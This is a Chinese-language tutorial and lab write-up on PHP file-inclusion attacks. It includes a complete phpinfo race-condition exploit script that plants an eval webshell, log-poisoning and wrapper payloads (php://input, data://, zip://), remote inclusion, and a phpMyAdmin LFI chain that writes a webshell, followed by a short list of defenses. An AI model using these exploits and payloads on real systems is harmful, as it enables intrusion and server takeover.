文件包含与远程包含漏洞
文件包含简介
将一段代码写在文件里,需要的时候对文件进行调用,这段代码在很多网页中都会用到。
例如:数据库连接代码
mysql.php
只负责数据库连接common.php
只负责功能实现
如果不对文件进行引用,会造成代码冗余。
核心
文件包含核心就是对文件的引用
相关函数
include()
文件包含 用到去读取使用require()
文件包含 在代码执行前就去读取包含的文件一起执行
include遇到错误会抛出警告,并往下执行,但require不会,require在遇到错误是会直接报错
include()
require()
include_once() 同一个文件只包含一次
require_once() 同一个文件只包含一次
文件包含
分为两类:
- 本地文件包含(LFI:local file include) 一句话木马得传的上去或者写的进去
- 远程文件包含(RFI: remote file include) 直接包含就可以,自己服务器或者任何东西上放个txt直接包含就可以了,[你的木马不存在在目标主机上]要包含的远程地址一般都是txt.
- 路径:
../
上级目录./
当前目录
文件包含常见路径
包含日志文件getshell
简述
常见的中间件如IIS、Apache、Nginx 都会记录访问日志,如果访问日志或者错误日志中存在有代码,并且具有文件的访问权限,就也可以被包含执行。例如存在一句话也可以导致getshell
访问权限: linux下日志文件默认权限是root权限,而windows下是允许访问的
apache 访问日志的路径 /var/log/apache2/access.log 或者 /etc/httpd/logs/access_log
nginx 访问日志的路径 /var/log/nginx/access.log
windows系统的话一般是在安装目录的logs文件夹下
演示
这里我们演示windows下的包含日志

我们在访问url中加入一句话

可以看到访问日志中已经记录了一句话,但是被url编码了

这个编码是由于浏览器提交表单会自动url编码造成,可以抓包绕过


成功绕过,让我们来引入一下看看

可以看到,成功把访问日志文件包含并且执行了phpinfo
包含环境变量文件GetShell
需要PHP运行在CGI模式,并且在数据包中的User-agent参数值修改成payload
如果成功写入环境变量,并且包含成功就可以getshell
phpinfo包含临时文件
原理:
- php在解析multipart/form-data请求时,会创建临时文件,并且写入上传文件,脚本执行结束后删除
- phpinfo可以输出$_FILE信息
- 在临时文件删除前包含执行命令
拖延时间的方式
- 可以在数据报文中添加大量的垃圾数据,使得phpinfo的信息过大,导致php输出进入流式输出,并不一次输出完毕
- 通过大量请求来延迟php脚本的执行速度
演示
- 首先网站要存在phpinfo页面,我们这里准备了一个phpinfo页面
然后有一个上传文件到phpinfo的表单页面


当我们上传文件提交到phpinfo,php解析时就会生成临时文件,上传完成后才会删除
于是我们上传一个图片马

可以在phpinfo中查看到我们上传的图片1.jpg
于是我们可以利用脚本进行包含临时文件

执行脚本后,就会生成/tmp/g 临时文件,这个就是我们上传的文件,于是我们再次包含它

可以看到成功执行命令
使用到的脚本如下
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
# modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
php伪协议
这里有一篇php伪协议 极简述 浅谈PHP伪协议 - ZZB。 - 博客园 (cnblogs.com)
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
了解一下PHP的配置文件(php.ini)
简单了解相关配置,想要详细了解请看这篇文章,PHP配置文件php.ini在哪里?_cunjie3951的博客-CSDN博客
allow_url_fopen 默认值是On,允许URL里的封装协议访问文件
allow_url_include 默认值是Off ,不允许URL里的封装协议包含文件

举例详解
file:// 访问本地文件
file://和file:///的区别
URL结构是: <协议>://<主机>:<端口>/<路径>
file://是协议 而file:///多出来的/表示是本地的文件



从这两个图可以看出,file:///
必须是三个斜杠才可以成功访问
file://和http://的区别
file://协议只可以打开本地的文件
http://协议则是请求服务器,并由服务器解析后允许访问文件
php://
php:// 用于访问各个输入/输出流,经常使用的是php://filter 和 php://input
php://filter 一般用于读取源码
php://input 用于执行php代码
php://input
php://input 可以访问请求的原始数据的只读流,将post请求数据当作php代码执行
使用条件:allow_url_fopen=On , allow_url_include=On
需要注意:当enctype="multipart/form-data"时,该协议无效

可以看到,该协议生效

php://filter
格式
php://filter/过滤器/resource=待过滤的数据流
参数
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
常见过滤器 也可以看这篇文章PHP: 可用过滤器列表 - Manual
- string
- string.rot13 ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
- string.toupper 把小写字母转换为大写字母。
- string.tolower 把大写字母转换为小写字母。
- string.strip_tags 过滤字符串中的
HTML
、XML
以及PHP
的标签,简单理解就是包含有尖括号中的东西。 - convert
- convert.base64-encode base64编码
- convert.base64-decode base64解码
- quoted-printable-encode
Quoted-printable
可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII
字符进行一个编码转换,转换成=
后面跟两个十六进制数 - quoted-printable-decode
- zlib bzip2
- zlib.deflate 压缩
- bzip2.compress 压缩
- bzip2.decompress 解压缩
- zlib.inflate 解压缩

压缩协议:phar://、zip://、bzip2://、zlib://
zip://格式
zip:// [压缩文件路径]#[目录]/[文件名]
这里的1.jpg是写了phpinfo函数的


打成压缩包

成功被解析,并且,当压缩文件后缀名并不是.zip时,该协议会自动判断该文件是不是zip格式文件,并进行访问

我们把压缩包重命名成1.jpg

可以看到,还是可以包含的
其他的格式
?file=compress.zlib://[压缩包路径|文件路径]
?file=compress.bzip2://[压缩包路径|文件路径]
phar://[压缩包路径]/[目录]/[压缩包中文件名]
这里的1.zip就是直接把1.jpg打包成zip格式 而 2.zip是将1.jpg放入文件夹2中打包的
zlib://


phar://

data://
可以直接将传入的数据当作代码执行
使用条件:allow_url_fopen=On , allow_url_include=On

data://1/2/3,<?php phpinfo();?>
data:///,<?php phpinfo();?>
data://123,<?php phpinfo();?> # 这种不可以,我个人理解是最少两个目录
也可以进行base64编码,但是我这里不知道为什么,<?php phpinfo();?>
加上分号就会报错了
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

远程文件包含
当两个属性都开启之后,就可以包含远程文件
http://192.168.80.128/1.jpg 我们要包含这个文件

可以看到成功执行了1.jpg中的phpinfo代码
文件包含截断攻击
文件包含截断攻击,在php版本小于5.3.4,允许使用%00截断,在使用include等文件包含函数时,可以截断文件名
注意:截断会受gpc影响,如果gpc为On时,%00会被转义成\0从而失效。
gpc即 magic_quotes_gpc
但是我刚开始使用的php版本是5.3.29nts,并且关闭了gpc,但是也没有包含成功,我也不知道什么原因,后来更换了5.2.7nts版本的成功了
场景
当文件包含时对文件后缀名进行了拼接
<?php
include($_GET['file'].'.php');
?>


超长文件截断
这个适用于win32,并且php版本小于5.2.8, linux文件名长于4096,windows长于256
原理:利用操作系统对目录的最大长度限制
http://127.0.0.1/test/lfi.php?file=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
http://127.0.0.1/test/lfi.php?file=1.txt..........................................................................................................................................................................................................................................
两种截断
远程文件包含截断
适用于远程包含文件截断的字符
符号 | url编码 |
---|---|
# | %23 |
? | %3f |
00 | %00 |
防御措施
- 严格过滤包含中的参数
- 路径限制,限制被包含文件只能在固定目录中,禁止目录跳转字符,如
../
- 包含文件验证:验证被包含文件是否在白名单当中
- 尽量不使用动态包含,可以固定写死
- 设置allow_url_include 为Off
靶场实操
对本地搭建好的phpmyadmin代码审计
寻找include()函数

这里的$_REQUEST传参可控
对函数进行定位

对函数进行定位
如果target不为空
必须是字符串
传参不能以index开头
target不能在黑名单里(import.php
、export.php
)
要过这个函数checkPageValidity
进入靶场,然后root/root进入后台

创建数据库

在插入数据时写入马

数据库绝对路径为 C:/phpStudy/MySQL/
https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=phpinfo();

https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=file_put_contents(%271.php%27,%27%3C?php%20eval($_REQUEST[1]);?%3E%27);
写入马

连接菜刀

Comments NOTHING